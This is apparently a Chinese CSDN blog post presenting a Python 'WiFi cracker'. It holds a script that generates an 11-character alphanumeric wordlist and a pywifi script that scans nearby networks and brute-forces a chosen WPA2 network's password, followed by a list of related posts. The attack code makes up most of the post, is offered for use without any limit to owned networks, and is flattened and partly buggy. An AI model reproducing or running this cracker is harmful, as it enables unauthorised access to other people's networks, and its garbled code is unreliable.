猿创征文|Python3,10分钟写了一个WIFI 万(破) 能 (解) 钥 (神) 匙 (器),YYDS。
wifi万能钥匙
- 1、引言
- 2、代码实战
- 2.1 思路
- 2.2 模块安装
- 2.3 代码实战
- 2.3.1 生成密码本
- 2.3.2 破解实战
- 3、总结
1、引言
小鱼:小屌丝,你家WIFI密码是多少?
小屌丝:你试一试123456
小鱼:不对,
小屌丝:那再试下654321
小鱼:试了,还是不对!
小屌丝:我想一想…
小鱼:你还能想起来吗?
小屌丝:鱼哥,我还在想呢…
小鱼:那你慢慢想…
2、代码实战
2.1 思路
小鱼我实在是没有耐心等了, 我准备撸一个破解器。
思路也非常的简单:
- 获取wifi列表;
- 准备万能密码本;
- 进行循环读取
2.2 模块安装
因为我们需要wifi密码破解, 所以这里需要用到第三方库,pywifi
老规矩,pip 安装
pip install pywifi
其它安装方式,直接看这两篇:
- 《Python3,选择Python自动安装第三方库,从此跟pip说拜拜!!》
- 《Python3:我低调的只用一行代码,就导入Python所有库!》
2.3 代码实战
2.3.1 生成密码本
代码示例
import itertools as its
import string
import os#数字+字母
paswds= '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'
#11位密码
r = its.product(paswds,repeat = 11)
#文件路径
out_path = './output_file'
file_name = 'pwd.txt'
out_file = os.path.join(out_path,file_name)
#如果没有outfile_path 这个文件夹,就自动创建
if not os.path.exists(out_path):os.mkdir(out_path)
dic = open(out_file,'a')
#循环获取生成密码本
for i in r:dic.write("".join(i))dic.write("".join("\n"))
#关闭
dic.close()
生成结果:
注:
- 由于是11位,最后生成的密码本会很大,所以,你懂得…
2.3.2 破解实战
密码本准备完成, 接下来,我们就来破解wifi密码。
代码示例:
# -*- coding:utf-8 -*-
# @Time : 2022-09-03
# @Author : Carl_DJimport pywifi
import time
from pywifi import const# wifi 扫描
def wifi_scan():#初始化wifiwifi = pywifi.PyWiFi()#使用第一个无线网卡interface = wifi.interfaces()[0]#开始扫描interface.scan()for i in range(4):time.sleep(0.5)print(f'正在扫码可用wifi,请稍后...(' + str(3 - i), end=')')print(f'扫描完成!)')print('{:4}{:6}{}'.format('编号', '信号强度', 'wifi名')#把扫描结果,存放在每一个wifi对象中wifi_bss = interface.scan_results()#存放wifi名wifi_name_save =set()for n in wifi_bss:#解决乱码问题wifi_name_signal = (100 + n.signal,n.ssid.encode('raw_unicode_escape').decode('utf-8'))wifi_name_save.add(wifi_name_signal)#wifi 存入列表并按照信号强度排序wifi_name_list =list(wifi_name_save)wifi_name_list = sorted(wifi_name_list,key=lambda a:a[0],reverse=True)num = 0#格式化输出while num < len(wifi_name_list)print('{:<6d}.{:<8d}{}'.format(num,wifi_name_list[num][0],wifi_name_list[num][1]))num += 1print('='* 30)#返回wifi列表return wifi_name_list# wifi 破解
def wifi_creak(wifi_name):#字典路径wifi_dict_path = input("请输入wifi破解密码路径:")with open(wifi_dict_path,'r') as f:#遍历密码for pwd in f:#去除密码的末尾换行符pwd = pwd.strip('\n')#创建wifi对象wifi = pywifi.PyWiFi()#创建网卡对象,为第一个wifi网卡interface = wifi.interfaces()[0]#断开所有wifi链接interface.disconnect()#等待wifi断开while interface.status() == 4:# 当其处于连接状态时,利用循环等待其断开pass#创建连接文件(对象)profile = pywifi.Profile()#wifi名称profile.ssid = wifi_name#认证profile.auth = const.AUTH_ALG_OPEN#wifi默认加密算法,WPA2PSKprofile.akm.append(const.AKM_TYPE_WPA2PSK)profile.cipher = const.CIPHER_TYPE_CCMP#wifi密码profile.key = pwd#删除所有wifi链接文件interface.remove_network_profiles()#设置wifi新的链接文件tmp_profile =interface.add_network_profile(profile)#开始尝试链接interface.connect(tmp_profile)start_time = time.time()#如果链接时间超过1.5s,就认为密码不正确,在1.5s,说明链接成功while time.time() - start_time < 1.5:#默认连接成功状态为4if interface.status() == 4:print(f'wifi连接成功,密码为:{pwd}')exit(0)else:print(f'正在尝试使用{pwd}进行破解密码!')#主函数
def main():#退出标志exit_flag = 0#目标编号target = -1while not exit_flag:try:print('wifi万能钥匙'.center(35,'-'))#调用扫描函数,返回一个排序后的wifi列表wifi_list = wifi_scan()# 让用户选择要破解的wifi编号,并对用户输入的编号进行判断和异常处理choose_exit_flag = 0while not choose_exit_flag:try:target = int(input('请选择你要尝试破解的wifi: '))# 如果要选择的wifi编号在列表内,继续二次判断,否则重新输入if target in range(len(wifi_list)):#二次确认while not choose_exit_flag:try:choose = int(input(f'你选择要破解的WiFi名称是: {wifi_list[target][1]},确定吗?(Y/N)'))#对用户输入进行小写处理,并判断if choose.lower() == 'y':choose_exit_flag = 1elif choose.lower() == 'n':break#处理用户其他字模输入else:print(f'只能输入 Y/N ')# 处理用户非字母输入except ValueError:print(f'只能输入 Y/N ')#退出破解if choose_exit_flag == 1:breakelse:print(f'请重新输入!')except ValueError:print(f'只能输入数字,需要重新输入!')# 密码破解,传入用户选择的wifi名称wifi_creak(wifi_list[target][1])print('='*30)exit_flag = 1except Exception as e:print(f'错误信息为: {e}')raise e# 执行
if __name__ == '__main__':main()
运行结果:
3、总结
看到这里,今天的分享就差不多完事了。
今天通过pywifi来写了一个wifi破解神器。
由于这是非GUI版本,所以可以把这个代码封装成.exe运行程序。
这样运行起来,更方便。
我是小鱼,
- CSDN博客专家;
- 51Testing认证讲师;
关注我,带你学习更多更专业更有趣的Python知识。
猿创征文|Python3,10分钟写了一个WIFI 万(破) 能 (解) 钥 (神) 匙 (器),YYDS。相关推荐
- Python3,WIFI 万(破) 能 (解) 钥 (神) 匙 (器)的 GUI版本来了,果断收藏。
WIFI万能钥匙GUI版本 1.引言 2.代码实战 3.总结 1.引言 小屌丝:鱼哥, 上次你写的wifi破解神器,虽然好用,但是没有GUI界面啊. 小鱼:- 你还想要GUI界面版的? 小屌丝:对啊, ...
- 猿创征文 | web前端html写一个动态中秋明月!祝福大家中秋快乐!
- 给新手看的 Micronaut 入门教程,10 分钟写出一个 Micronaut 程序
以下内容均选自 Micronaut 入门实战:基于 JVM 的微服务框架 . Micronaut是什么? Micronaut 是一个现代化的基于 JVM 的全栈框架,用于构建模块化且易于测试的微服务或 ...
- 猿创征文 | DevOps运维的10个日常使用工具分享
猿创征文 | DevOps运维的10个日常使用工具分享 一.DevOps介绍 1.DevOps的简介 2.个人分享的10个工具导航 二.jenkins 1.jenkins介绍 2.jenkins的优点 ...
- 猿创征文 | Linux运维工程师的10个日常使用工具分享
猿创征文 | Linux运维工程师的10个日常使用工具分享 一.本次分享工具导航 二.Adminer数据库管理工具 1.Adminer介绍 2.Adminer的特点 3.Adminer的使用 4.Ad ...
- 猿创征文 | 微服务 Spring Boot 整合Redis 实战开发解决高并发数据缓存
文章目录 一.什么是 缓存? ⛅为什么用缓存? ⚡如何使用缓存 二.实现一个商家缓存 ⌛环境搭建 ♨️核心源码 ✅测试接口 三.采用 微服务 Spring Boot 注解开启缓存 ✂️@CacheEn ...
- 猿创征文|OpenCV 如何提高条形码识别率
猿创征文|OpenCV 如何提高条形码识别率 今天介绍一个使用OpenCV提高条形码识别率的算法 平台及OpenCV库简介 强烈建议:先学习一下OpenCV的课程 步入正题:从图片读取到条码截取部分( ...
- 猿创征文|2022 年我的开发者工具
猿创征文|2022 年我的开发者工具 文章目录 猿创征文|2022 年我的开发者工具 摘要 版本控制工具-Github Github Desktop git-cola SSH工具-X Shell 7 ...
- 猿创征文|我的前端学习之旅【来自一名大四老学长的真情流露】
猿创征文 | 我的前端学习之旅 自我介绍 我浑噩的大一大二(是不是另一个你) 我的大三生活 大三上(学习过程.学习方法.推荐网站) 大三下(技术提升.荣誉证书.推荐比赛) 我与 CSDN 的机缘(从小 ...
最新文章
- 《ASCE1885的源码分析》の跨平台互斥对象Mutex封装类
- 为什么说特斯拉研发自动驾驶AI芯片应该引起注意?
- 关于win2003服务器远程断开后自动注销的问题解决
- IO概述(概念分类)
- 猫和老鼠java下载安装_tomcat(Java服务器)
- Hibernate与MyBatis区别
- 仿码支付全新免签支付系统源码
- BOM函数之history对象
- 开发 系统键盘发送按钮不可点击_HoloLens开发指南(2)---HoloLens模拟器介绍
- 找出数组中两数之和为指定值的所有整数对
- 大多数元素python_学Python必知的20个技巧,掌握它们,准没错
- 首席省钱赚钱专家微信小程序源码下载,淘宝客 外卖侠 外卖cps 首席多多客 八合一小程序源码
- Python Qt GUI设计简介、环境下载和安装(基础篇—1)
- 用VB实现网页下载跟踪程序
- Android解析包时出现问题
- 《算法零基础100讲》(第30讲) 概率与统计
- vue2.6.11版本源码运行报错问题处理
- 欧几里得扩展欧几里得算法
- python计算利率贷款_用Python获取银行网站上的存贷款利率表
- 【折半搜索-经典题目】中山纪念中学暑期游Day13——【GDOI2017模拟8.15】Buy